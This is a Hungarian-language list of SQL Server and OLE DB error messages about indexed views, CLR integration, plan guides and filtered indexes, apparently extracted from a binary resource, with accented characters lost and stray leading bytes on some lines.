A megadott index nem ltezik vagy a szolgltat nem tmogatja az indexvizsglatot ebben az adatforrsban.

A megadott tbla vagy nzet nem ltezik vagy hibkat tartalmaz.

|Nincs rtk megadva egy vagy tbb ktelezQ paramternl.

Megnyitott sorkszlet esetn nem lehet belltani semmilyen tulajdonsgot.

xA szolgltat trlte a beszrst az rtests kzben.

Az adatrtk konvertlsa valamilyen, az elQjeleltrstQl s a tlcsordulstl eltrQ okbl sikertelen volt.

Egy vagy tbb oszlopnl az adatrtk tlcsordult a szolgltat ltal hasznlt tpus engedlyezett tartomnyn.

Egy vagy tbb oszlopnl az adatok megsrtettk az integritsi korltozsokat.

A fggQben levQ mdostsokat tartalmaz sorok szma meghaladja a DBPROP_MAXPENDINGROWS tulajdonsg ltal megadott korltot.

A sor nem hozhat ltre. A sorok szma tllpn az aktv soroknak a sorkszlet ltal tmogatott szmt.

A fogyaszt nem tud j sort beszrni az elQzQleg lekrt sorlerk feloldsa elQtt.

xA szolgltat trlte a mdostst az rtests kzben.

Az adatrtk konvertlsa valamilyen, az elQjeleltrstQl s a tlcsordulstl eltrQ okbl sikertelen volt.

Egy vagy tbb oszlopnl az adatrtk tlcsordult a szolgltat ltal hasznlt tpus engedlyezett tartomnyn.

Egy vagy tbb oszlopnl az adatok megsrtettk az integritsi korltozsokat.

A fggQben levQ mdostsokat tartalmaz sorok szma meghaladja a DBPROP_MAXPENDINGROWS tulajdonsg ltal megadott korltot.

XA sorkszlet optimista konkurencit alkalmazott, s egy oszlop rtke azt kvetQen lett mdostva, hogy utoljra beolvastk vagy jraszinkronizltk a tartalmaz sort.

A fogyaszt nem tudta trlni a sort. A trls fggQben van, vagy mr tovbbtva lett az adatforrsnak.

A fogyaszt nem tudta trlni a sort. A beszrs tovbbtva lett az adatforrsnak.

A sorkszlet integrlt indexeket hasznl, s nincs aktulis index.

A tblra vonatkoz RestartPosition metdus trlve lett az rtests kzben.

A tbla lQ adatfolyamra plve lett ltrehozva, s a pozci nem indthat jra.

lA szolgltat nem oldott fel nhny ltezQ sort.

Az oszlopok sorrendje nem volt megadva abban az objektumban, amely ltrehozta a sorkszletet. A szolgltatnak jbl vgre kellett hajtania a parancsot, hogy a kezdeti pozcira lltsa vissza a kvetkezQ lehvs pozcijt, s az oszlopok sorrendje megvltozott.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a DISTINCT kulcsszt tartalmazza. Tvoltsa el a DISTINCT kulcsszt a nzetbQl, vagy ne indexelje a nzetet. Msik megoldsknt a DISTINCT kulcssz helyett hasznlja a GROUP BY zradkot vagy a COUNT_BIG(*) fggvnyt, ezzel szimullva a DISTINCT zradkot a csoportost oszlopokra vonatkozan.

|A(z)  %2!s!  nzethez tartoz %1!s! nem hozhat ltre, mert a nzet tartalmazza a TOP vagy az OFFSET kulcsszt. Tvoltsa el a TOP vagy az OFFSET kulcsszt, vagy ne indexelje a nzetet.

\A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a TABLESAMPLE zradkot tartalmazza. Tvoltsa el a TABLESAMPLE zradkot, vagy ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az az OPENROWSET, az OPENQUERY vagy az OPENDATASOURCE fggvnyt hasznlja. Ne indexelje a nzetet, vagy tvoltsa el az OPENQUERY, az OPENROWSET vagy az OPENDATASOURCE fggvnyt.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a CONTAINSTABLE vagy a FREETEXTTABLE teljes szveges fggvnyt hasznl tblra hivatkozik. Tvoltsa el ezeket a fggvnyeket, vagy ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az az OPENXML sorkszlet-szolgltatt hasznlja. Tvoltsa el az OPENXML sorkszlet-szolgltatt, vagy ne indexelje a nzetet.

,A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy belsQ rendszersorkszlet-szolgltatra hivatkozik. Ne indexelje a nzetet.

xA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a(z)  %3!s!  tblavltozt hasznlja. Ne indexelje a nzetet, vagy tvoltsa el a tblavltozra mutat hivatkozst.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az az SQL Server egyik belsQ tbljra hivatkozik.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a szrmaztatott  %3!s!  tblra hivatkozik (amelyet a FROM zradkban lvQ SELECT utasts definilt). Tvoltsa el a szrmaztatott tblra mutat hivatkozst, vagy ne indexelje a nzetet.

`A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy OUTER APPLY opertort tartalmaz. Ne indexelje a nzetet, vagy tvoltsa el az OUTER APPLY opertort.

`A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a szabvnyos ODBC escape-szintaxist hasznl illesztst tartalmaz. Hasznljon ANSI illesztsi szintaxist.

@A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy illesztsmutatt megad INNER illesztst tartalmaz. Tvoltsa el az illesztsmutatt.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az LEFT, RIGHT vagy FULL OUTER illesztst hasznl, s az indexelt nzetekben nem engedlyezettek az OUTER illesztsek. Hasznljon INNER illesztst.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a PIVOT opertort hasznlja. Ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az az UNPIVOT opertort hasznlja. Ne indexelje a nzetet.

@A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy vagy tbb UNION, INTERSECT vagy EXCEPT opertort tartalmaz. Hozzon ltre kln indexelt nzetet minden olyan lekrdezshez, amely az eredeti nzet UNION, INTERSECT vagy EXCEPT opertornak bemenett szolgltatja.

HA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a  *  opertort hasznlja az oszlopok kivlasztshoz. Hivatkozzon a nevkkel az oszlopokra.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az GROUP BY ALL zradkot tartalmaz. Hasznljon GROUP BY zradkot.

(A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az CUBE, ROLLUP vagy GROUPING SETS opertort tartalmaz. Ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az HAVING zradkot tartalmaz. Tvoltsa el a HAVING zradkot.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az az SQL Server egyik belsQ oszlopra hivatkozik.

XA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a(z)  %3!s!  sszestst hasznlja. Tvoltsa el az sszestst, ne indexelje a nzetet, vagy hasznljon ms sszestseket. Az AVG helyettesthetQ pldul a SUM s a COUNT_BIG, a COUNT pedig a COUNT_BIG sszests hasznlatval.

|A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a(z)  %3!s!  sszestst hasznlja a DISTINCT kulcsszval. Ne indexelje a nzetet, vagy tvoltsa el a DISTINCT kulcsszt. Hasznljon GROUP BY vagy COUNT_BIG(*) nzetet, ezzel szimullva a DISTINCT zradkot a csoportost oszlopokra vonatkozan.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy vagy tbb allekrdezst tartalmaz. Mdostsa gy a nzetet, hogy csak illesztseket hasznljon az allekrdezsek helyett. Msik megoldsknt ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az CONTAINS vagy FREETEXT teljes szveges prediktumot hasznl. Tvoltsa el a CONTAINS vagy a FREETEXT prediktumot, vagy ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a begyazott vagy tbbutastsos, tbla rtkq  %3!s!  fggvnyre hivatkozik. BQvtse kzzel a fggvny defincijt a nzetdefinciban, vagy ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a kzs nyelvi futtat krnyezet (CLR) nem meghatroz, tbla rtkq  %3!s!  fggvnyt hasznlja. Ne indexelje a nzetet, vagy mdostsa gy a nzetet, hogy ne hasznlja a fggvnyt.

xA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a kzs nyelvi futtat krnyezet (CLR) nem pontos, tbla rtkq  %3!s!  fggvnyt hasznlja. Ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a kzs nyelvi futtat krnyezet (CLR) tbla rtkq  %3!s!  fggvnyt hasznlja. Tvoltsa el a fggvnyre mutat hivatkozst, vagy ne indexelje a nzetet.

XA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert a nzet ltal hivatkozott  %3!s!  fggvny felhasznli vagy rendszerszintq adathozzfrst hajt vgre.

PA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az tbb APPLY opertort tartalmaz. Ne indexelje a nzetet, vagy hasznljon csak egy APPLY opertort.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a COUNT sszestst hasznlja. Hasznlja a COUNT_BIG sszestst.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a(z)  %3!s!  kzs tblakifejezsre hivatkozik. A kzs tblakifejezsekre hivatkoz nzetek nem indexelhetQk. Ne indexelje a nzetet, vagy tvoltsa el a kzs tblakifejezst a nzetdefincibl.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert annak kivlasztsi listja nem tartalmaz helyesen hasznlt COUNT_BIG nzetet. Vegye fel a COUNT_BIG(*) nzetet a kivlasztsi listra.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az implicit talaktst hasznl karakterlncrl dtum s idQ vagy kis dtum s idQ tpusra. Hasznljon CONVERT utastst meghatroz stlus rtkkel.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az tblamutatt tartalmaz. Tvoltsa el a mutatt.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a SELECT lista nem kulcs tpus oszlopain kvli  %3!s!  CLR-rutinra (fggvnyre vagy metdusra) hivatkozik. Hozza ltre jbl vagy mdostsa gy a nzetet, hogy az ne hivatkozzon CLR-rutinokra a SELECT lista nem kulcs tpus oszlopaiban lvQ CLR-rutinok kivtelvel, majd hozza ltre az indexet.

HA(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy APPLY opertort tartalmaz. Ne indexelje a nzetet, vagy tvoltsa el az APPLY opertort.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az egy rangsorol vagy sszestQ fggvnyt tartalmaz. Tvoltsa el a fggvnyt a nzetdefincibl, vagy ne indexelje a nzetet.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az a CHANGETABLE fggvnyt hasznlja.

A(z) %1!s! index nem hozhat ltre a(z)  %2!s!  nzethez, mert az ritkaoszlop-kszletre hivatkozik. A ritkaoszlop-kszleteket tartalmaz nzetek nem indexelhetQk. Tvoltsa el a ritkaoszlop-kszletet a nzetbQl, vagy ne indexelje a nzetet.

TNem hozhat ltre %1!s! a(z)  %2!s!  nzeten, mert az a SEMANTICSIMILARITYTABLE, a SEMANTICKEYPHRASETABLE vagy a SEMANTICSIMILARITYDETAILSTABLE fggvnyt hasznlja.

llapotmdost nem hvhat meg CLR-beli tpus null rtkhez.

A(z)  %2!s!.%3!s!  tpus  %1!s!  mezQ nem frissthetQ, mert a mezQ  %4!s! .

Nem tallhat az UdtExtensions.dll fjl. EllenQrizze a teleptst.

PA(z)  %1!s!  szerelvny hivatkozik a kvetkezQ szerelvnyre, amely azonban nem szerepel az aktulis adatbzisban:  %2!s! . Az SQL Server megprblta megkeresni s automatikusan betlteni a hivatkozott szerelvnyt ugyanarrl a helyrQl, ahonnan a hivatkoz szerelvny szrmazik, de a mqvelet sikertelen volt (ok: %3!s!). Tltse be a hivatkozott szerelvnyt az aktulis adatbzisba, s prblja jbl elkldeni a krelmet.

PA(z)  %1!s!  szerelvny hivatkozik a kvetkezQ szerelvnyre, amely azonban nem szerepel az aktulis adatbzisban:  %2!s! . Az SQL Server megprblta megkeresni s automatikusan betlteni a hivatkozott szerelvnyt ugyanarrl a helyrQl, ahonnan a hivatkoz szerelvny szrmazik, de a mqvelet sikertelen volt (ok: %3!s!). Tltse be a hivatkozott szerelvnyt az aktulis adatbzisba, s prblja jbl elkldeni a krelmet.

Nem sikerlt lekrni az SQL Server elrsi tjt:  %1!s! .

Nem sikerlt ltrehozni az AppDomain alkalmazstartomny kezelQjt:  %1!s! .

Nem sikerlt belpni a kzs nyelvi futtat krnyezetbe (CLR), HRESULT: 0x%1!s!. Ezt valsznqleg az okozza, hogy kevs az erQforrs.

A tbla rtkq CLR-fggvnyek Init metdust az SqlFunctionAttribute osztllyal kell kiegszteni.

 A tbla rtkq CLR-fggvnyek Init metdushoz tartoz SqlFunctionAttribute osztlynak be kell lltania a FillRowMethodName tulajdonsgot.

Az SqlFunctionAttribute osztly FillRowMethodName tulajdonsga nem tartalmaz rvnyes metdusnevet.

A .NET-keretrendszer vgrehajtsa megszakadt. Az UDP/UDF/CLR tpus nem alaktotta vissza a szl jogkivonatt.

Hiba trtnt a .NET-keretrendszer hasznlata kzben a kvetkezQ mqvelet sorn: %1!s!. Lehetsges, hogy elfogytak a kiszolgl erQforrsai. Prblja meg jbl futtatni a lekrdezst. Ha a problma tartsan fennll, forduljon a termktmogat szolglathoz. %2!s!

Hiba trtnt a Microsoft .NET-keretrendszerben a(z) %1!s! szerelvnyazonost betltsnek ksrlete kzben. Lehetsges, hogy elfogytak a kiszolgl erQforrsai, vagy a szerelvny nem adhat meg megbzhatknt a PERMISSION_SET = EXTERNAL_ACCESS vagy UNSAFE belltssal. Futtassa jbl a lekrdezst, vagy a dokumentciban ellenQrizze, hogyan oldhatk meg a szerelvny megbzhatsgval kapcsolatos problmk. Tovbbi informci errQl a hibrl: %2!s!

A megadott verziazonostval (%1!s!) rendelkezQ alkalmazstartomny memriaproblma miatt el lett tvoltva, ezrt nem tallhat.

Hiba trtnt a(z)  %1!s!  fjl verziadatainak lekrse kzben.

TA(z)  %1!s!  nem hajthat vgre, mert a(z)  %4!s!  tpus  %3!s!  metdus %2!s! paramtere a nem tmogatott System.ParamArrayAttribute attribtummal van kiegsztve.

pNem sikerlt a UserDefinedType metdus hvsa, mert a(z)  %3!s!  tpus  %2!s!  metdus %1!s! paramtere a nem tmogatott System.ParamArrayAttribute attribtummal van kiegsztve.

A(z)  %1!s!  metdusnv rvnytelen a kvetkezQhz:  %2!s! .

A(z)  %1!s!  metdusnv rvnytelen a UserDefinedType metdus hvshoz.

xA(z) %1!s! tpus nem tallhat a(z) %2!s! adatbzisban.

A .NET-keretrendszer felgyelt hibakeressi segdje (%1!s!) rvnytelen felhasznli kdot tallt.

A CREATE TRIGGER utasts WITH ENCRYPTION kapcsolja csak a T-SQL-esemnyindtkra vonatkozik, a CLR-esemnyindtkra nem.

A kiszolgl lell, mert veremtlcsorduls trtnt a nem felgyelt felhasznli kdban.

$A(z)  %1!s!  szerelvny kt verzija nem szerepelhet egyszerre a(z)  %2!s!  adatbzisban. Prizze meg az egyik verzit, s dobja el a msikat.

Nem sikerlt a(z)  %2!s!  szerelvny %1!s! ASSEMBLY utastsnak vgrehajtsa, mert a(z)  %3!s!  szerelvnynek nincs engedlye a kvetkezQhz: PERMISSION_SET = %4!s!. A szerelvnynek akkor van engedlye, ha igaz a kvetkezQk egyike: az adatbzis-tulajdonos (DBO) rendelkezik a(z) %5!s! engedllyel s az adatbzis TRUSTWORTHY tulajdonsga be van kapcsolva, vagy a szerelvny al van rva tanstvnnyal vagy aszimmetrikus kulccsal, amelynek van a(z) %6!s! engedllyel rendelkezQ megfelelQ bejelentkezsi azonostja.

Nincs elegendQ veremterlet a(z)  %1!s!  alkalmazstartomny ltrehozshoz.

pA .NET-keretrendszer vgrehajtsa megszakadt. %1!s!

HNem sikerlt az ALTER ASSEMBLY utasts vgrehajtsa, mert a(z)  %1!s!  tpus szerializlsi elrendezs megvltozna a frisstett szerelvnyben lvQ  %2!s!  tpus mdostsnak kvetkeztben. MegQrztt tpusok hasznlata nem engedlyezett a szerializlsi elrendezs megvltoztatshoz.

A(z)  %2!s!  szerelvnyben lvQ  %1!s!  tpus a CLR-beli tpusoknl nem tmogatott ltalnos tpusbl szrmazik.

 A(z)  %1!s!  szerelvny a .NET-keretrendszer %2!s! szm verzijval lett ltrehozva. Az SQL Server ltal jelenleg hasznlt verzi: %3!s!.

Nem sikerlt megszerezni az ICLRAppDomainResourceMonitor illesztQfelletet a CLR-tQl. A CLR ltal visszaadott hibakd: 0x%1!s!. Ennek eredmnyekppen az erQforrs-figyels nem fog mqkdni a kvetkezQ azonostj AppDomain alkalmazstartomnyra: %2!s!.

\Az adatbzis kompatibilitsi szintjnek mdostsa azt okozta, hogy bizonyos adatok ellenQrizetlen jellst kaptak a(z)  %1!s!  adatbzis legalbb egy objektumban. Az sszes ilyen objektum azonostshoz tekintse meg a sys.tables s a sys.views rendszernzet has_unchecked_assembly_data oszlopt.

A kzs nyelvi futtatkrnyezet (CLR) nem tmogatott mdon lett betltve. Ez akkor fordulhat elQ, ha az SQL Server rendszerben fut valamely bQvtett trolt eljrs vagy OLE-automatizlsi objektum azt megelQzQen hv felgyelt kdot, hogy a CLR integrcis futsidejq modulja betlten a CLR-t. A CLR integrcis funkciinak hasznlathoz jra kell indtania az SQL Server rendszert.

0BelsQ hiba trtnt.

A szerelvny megerQstse sikertelen volt. Nem lehetett megnyitni a fizikai  %1!s!  fjlt: %2!s!.

A szerelvny megerQstse sikertelen volt. Nem lehetett olvasni a fizikai  %1!s!  fjlbl: %2!s!.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a megadott  %2!s!  tpus nem engedlyezett.

PNem hozhat ltre a(z)  %1!s!  segdterv, mert a @stmt s a @module_or_batch paramter, illetve a @plan_handle s a @statement_start_offset paramter ltal megadott utasts megfelel az adatbzisban szereplQ  %2!s!  segdtervnek. j segdterv ltrehozsa elQtt dobja el a ltezQ segdtervet.

XA(z)  %1!s!  mqvelet nem engedlyezett.

 A(z)  %1!s!  segdterv nem hozhat ltre, mert a @hints paramter helytelen. Hasznlja a kvetkezQt: N'OPTION ( <query_hint> [ ,...n ] )'.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @module_or_batch argumentumban megadott  %2!s!  rtk nem rvnyes, kt rszbQl ll nv. Hasznlja a kvetkezQ formtumot:  schema_name.object_name .

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @stmt paramternek egynl tbb utastsa van.

Nem hozhat ltre a(z)  %1!s!  segdterv, mert a @stmt s a @module_or_batch paramter, illetve a @plan_handle s a @statement_start_offset paramter ltal megadott utasts nem felel meg a megadott modulban vagy ktegben szereplQ utastsok egyiknek sem. Mdostsa az rtkeket gy, hogy az utasts megfeleljen a modulban vagy ktegben szereplQ egyik utastsnak.

A(z)  %2!s!  segdterv esetben nem lehetsges a(z)  %1!s! , mert a segdterv nem ltezik, vagy nnek nincs engedlye. EllenQrizze a segdterv nevt s az aktulis munkamenet adatbzist, valamint azt, hogy rendelkezik-e a szksges engedllyel.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @stmt vagy a @statement_start_offset argumentum ltal megadott utasts szintaktikai hibt tartalmaz, vagy nem hasznlhat segdtervben. Adjon meg egyetlen rvnyes Transact-SQL nyelvq utastst vagy egy rvnyes kezdQ pozcit a ktegen belli utastshoz. Az rvnyes kezdQ pozci megllaptshoz krdezze le a  statement_start_offset  oszlopot a sys.dm_exec_query_stats dinamikus felgyeleti fggvnyben.

A(z)  %1!s!  segdterv nem hozhat ltre, mert az adatbzisban mr szerepel ilyen nevq segdterv. Hasznljon egyedi nevet.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a  @module_or_batch  objektum titkostott. Pontostsa a lekrdezst ms mdszerek hasznlatval, pldul indexekkel s statisztikai adatokkal.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQn, mert a(z)  %4!s!  segdterv hivatkozik r:  %3!s!  %2!s!. ElQbb dobja el a segdtervet az sp_control_plan_guide trolt eljrs hasznlatval. Prizze meg a segdterv defincijt, ha a ksQbbiekben mg hasznlni kvnja.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a(z)  %2!s!  modul nem ltezik, vagy n nem rendelkezik a szksges engedllyel.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @module_or_batch argumentum nem fordthat le.

A(z)  %1!s!  segdterv nem hozhat ltre, mert nem rendelkezik a szksges engedllyel. Vltoztassa meg adatbzishoz szksges engedlyt.

 Az sp_control_plan_guide trolt eljrs nem hajthat vgre, mert nincs megfelelQ engedlye a(z)  %1!s!  segdterv felgyelethez. Vltoztassa meg a segdterv ltal hivatkozott objektumhoz szksges engedlyt, vagy vltoztassa meg az adatbzishoz szksges engedlyt.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @hints paramterben megadott mutatk nem alkalmazhatk a @stmt vagy a @statement_start_offset argumentumban megadott utastsra. EllenQrizze, hogy a mutatk alkalmazhatk-e az utastsra.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @type paramter  %2!s!  tpusknt van megadva, s nem NULL rtk van megadva a(z)  %3!s!  paramterben. Ennl a tpusnl NULL rtket kell megadni a paramterben. Adjon meg NULL rtket a paramterben, vagy vltoztassa meg a tpust olyanra, amely engedlyezi a nem NULL rtkek megadst a paramterben.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @type paramter  %2!s!  tpusknt van megadva, s a(z)  %3!s!  paramter NULL rtkq. Ennl a tpusnl nem NULL rtket kell megadni a paramterben. Adjon meg nem NULL rtket a paramterben, vagy vltoztassa meg a tpust olyanra, amely engedlyezi a NULL rtk megadst a paramterben.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @hints paramter rtke rvnytelen. A @hints paramterben az OPTION(PARAMETERIZATION FORCED) vagy az OPTION(PARAMETERIZATION SIMPLE) rtknek kell szerepelnie, ha a @type paramter rtke  template .

Nem llthat elQ lekrdezssablon, mert a @querytext paramter nem tartalmaz rvnyes lekrdezst.

LA @querytext nem paramterezhetQ.

0Nem dobhat el a kvetkezQ, mert a(z)  %4!s!  segdterv hivatkozik a(z)  %3!s!  esemnyindtjra:  %2!s!  %1!s!. ElQbb dobja el a segdtervet az sp_control_plan_guide trolt eljrs hasznlatval. Prizze meg a segdterv defincijt, ha a ksQbbiekben mg hasznlni kvnja.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a(z)  %2!s!  objektum ideiglenes objektum.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a neve rvnytelen. A segdtervek neve nem kezdQdhet  #  karakterrel.

(A(z)  %1!s!  segdterv nem hozhat ltre, mert a @stmt argumentumban mr szerepel egy  %2!s!  segdterv, amelynek @type paramtere  template .

tA(z)  %1!s!  segdterv nem hozhat ltre, mert a @statement_start_offset argumentum ltal megadott utasts nem felel meg egyetlen utastsnak sem a megadott modulban vagy ktegben. Mdostsa gy a @statement_start_offset argumentumot, hogy megfeleljen a modulban vagy a ktegben lvQ valamelyik utastsnak.

|A(z)  %1!s!  segdterv nem hozhat lre a gyorsttrbl, mert a felhasznlnak nincs megfelelQ engedlye. Adja meg a VIEW SERVER STATE engedlyt a segdtervet ltrehoz felhasznlnak.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @plan_handle argumentum ltal megadott kteg vagy modul nem tartalmaz olyan utastst, amely megfelelQ a segdtervek szmra. Adjon meg ms rtket a @plan_handle argumentum szmra.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a terv neve meghaladja az engedlyezett maximlis karakterszmot, a 124 karaktert. Adjon meg olyan nevet, amely 125-nl kevesebb karakterbQl ll.

A(z)  %1!s!  segdterv nem hozhat ltre, mert a @params argumentumban megadott rtk rvnytelen. Adja meg az rtket a <paramternv> <paramtertpus> formban, vagy adjon meg NULL rtket.

hA(z)  %1!s!  segdterv nem hozhat ltre, mert a tervek gyorsttrban nem tallhat a megadott tervlernak megfelelQ terv. Adjon meg a gyorsttrban tallhat tervlert. A gyorsttrban lvQ tervlerk listjnak megtekintshez krdezze le a sys.dm_exec_query_stats dinamikusan felgyelt nzetet.

tA(z)  %1!s!  segdterv nem hozhat ltre, mert a megadott @plan_handle argumentumnak megfelelQ kteg vagy modul 1000-nl tbb megfelelQ utastst tartalmaz. Hozzon ltre segdtervet a ktegben vagy a modulban tallhat sszes utastshoz gy, hogy minden utastshoz megadja a statement_start_offset rtket.

A(z)  %1!s!  segdterv nem engedlyezhetQ, mert az engedlyezett  %2!s!  segdterv ugyanazt a hatkrt s kezdQ eltolsi rtket tartalmazza az utastshoz. A megadott segdterv engedlyezse elQtt tiltsa le a meglvQ segdtervet.

pA segdterv nem tallhat, mert a megadott segdterv-azonost NULL rtkq vagy rvnytelen, illetve nnek nincs engedlye a segdterv ltal hivatkozott objektumhoz. EllenQrizze a kvetkezQket: rvnyes-e a segdterv-azonost, az aktulis munkamenet a megfelelQ adatbzis-krnyezetre van-e belltva, s rendelkezik-e az ALTER engedllyel a segdterv ltal hivatkozott objektumhoz, illetve rendelkezik-e az ALTER DATABASE engedllyel.

A(z)  %1!s!  segdterv nem hozhat ltre, mert nem rhetQ el lekrdezsterv a(z) %2!s! kezdQ eltols utastshoz. Ez a problma akkor fordulhat elQ, ha az utasts olyan adatbzis-objektumoktl fgg, amelyek mg nincsenek ltrehozva. EllenQrizze, hogy ltezik-e az sszes szksges adatbzis-objektum, s hajtsa vgre az utastst a segdterv ltrehozsa elQtt.

tFrtztt indexhez nem adhatk meg felvett oszlopok.

A rgi s az j szintaxis egyttes hasznlata nem engedlyezett a CREATE/ALTER/DROP INDEX utastsban.

XA frtztt  %1!s!  index nem hozhat ltre jbl a(z)  %2!s!  nzetben, mert a nzet a(z)  %3!s!  alaptbltl fgg, amelynek frtztt  %4!s!  indexe la van tiltva.

 Statisztikai adat nem alakthat t indexre a DROP_EXISTING indexbellts hasznlatval, amikor az ONLINE indexbellts is meg van adva.

A(z)  %1!s!  elsQdleges kulcsindex nem tilthat le a(z)  %2!s!  tblban, mert a tbla replikcihoz van kzztve.

A(z)  %1!s!  frtztt index nem tilthat le a(z)  %2!s!  nzetben, mert az indexelt nzet replikcihoz van kzztve.

A(z)  %1!s!  frtztt index nem tilthat le a(z)  %2!s!  tblban, mert a tblnl engedlyezve van a vltozskvets. A frtztt index letiltsa elQtt tiltsa le a tblra vonatkoz vltozskvetst.

pA(z)  %1!s!  frtztt index nem tilthat le a(z)  %2!s!  tblban, mert a tblnl engedlyezve van a vltozskvets. A vltozskvetshez elsQdlegeskulcs-korltozs szksges a tblban, s az index letiltsa eldobja a korltozst. Az index letiltsa elQtt tiltsa le a tblra vonatkoz vltozskvetst.

A szqrt  %2!s!  %1!s! nem hozhat ltre a(z)  %3!s!  tblhoz, mert a szqrQkifejezsben tallhat  %4!s!  oszlop szmtott oszlop. Mdostsa gy a szqrQkifejezst, hogy ne tartalmazza ezt az oszlopot.

DA szqrt  %1!s!  index nem hozhat ltre a(z)  %2!s!  objektumhoz, mert az nem felhasznli tbla. Szqrt indexek csak a tblk esetben tmogatottak. Ha nzethez kvn szqrt indexet ltrehozni, hozzon ltre egy indexelt nzetet gy, hogy a nzetdefinci tartalmazza a szqrQkifejezst.

A szqrt  %2!s!  %1!s! nem hozhat ltre a(z)  %3!s!  tbln, mert a szqrQkifejezsben szereplQ  %4!s!  oszlopot olyan llandval hasonltjk ssze, amelynek magasabb az adattpus-fontossgi sorrendje, vagy eltrQ a rendezse. Egy oszlopnak egy lland adattpusra val konvertlsa szqrt %5!s! esetn nem tmogatott. A hiba elhrtshoz explicit mdon konvertlja az llandt a kvetkezQ oszloppal egyezQ adattpusra s rendezsqre:  %6!s! .

4A szqrt  %2!s!  %1!s! nem hozhat ltre a(z)  %3!s!  tbln, mert a szqrQkifejezsben szereplQ  %4!s!  oszlopot olyan llandval hasonltjk ssze, amely nem konvertlhat az oszlop adattpusra. rja jra a szqrQkifejezst gy, hogy az ne tartalmazza ezt az sszehasonltst.

Nem sikerlt a(z)  %1!s!  index ltrehozsa vagy jbli ltrehozsa. Az index kulcshosszsga (%2!s! bjt) meghaladja a vardecimal (vltoz hosszsg decimlis) trolsi formtum hasznlata esetn engedlyezett maximlis hosszsgot (%3!s! bjt).

Nem lehetsges a(z) %1!s! a(z) %3!s!  tbla  %2!s!  szqrt indexe esetben, mert az utasts ON rtkqre lltja az IGNORE_DUP_KEY belltst. Mdostsa gy az utastst, hogy az ne hasznlja az IGNORE_DUP_KEY belltst. 	 

A szqrt  %2!s!  %1!s! nem hozhat ltre a(z)  %3!s!  tblhoz, mert a szqrQkifejezsben tallhat  %4!s!  oszlop CLR-beli adattpus. Mdostsa gy a szqrQkifejezst, hogy az ne tartalmazza ezt az oszlopot.

(A szqrt  %2!s!  %1!s! nem hozhat ltre a(z)  %3!s!  tblhoz, mert a szqrQkifejezs szveges NULL rtkkel rendelkezQ sszehasonltst tartalmaz. Mdostsa gy az sszehasonltst, hogy az az IS [NOT] NULL sszehasonlt opertort hasznlja a NULL rtkek tesztelshez.

A(z)  %1!s!  indexet nem lehet ltrehozni a(z)  %2!s!  tblhoz, mert a szqrQkifejezsben tallhat  %3!s!  oszlop egy oszlopkszlet.

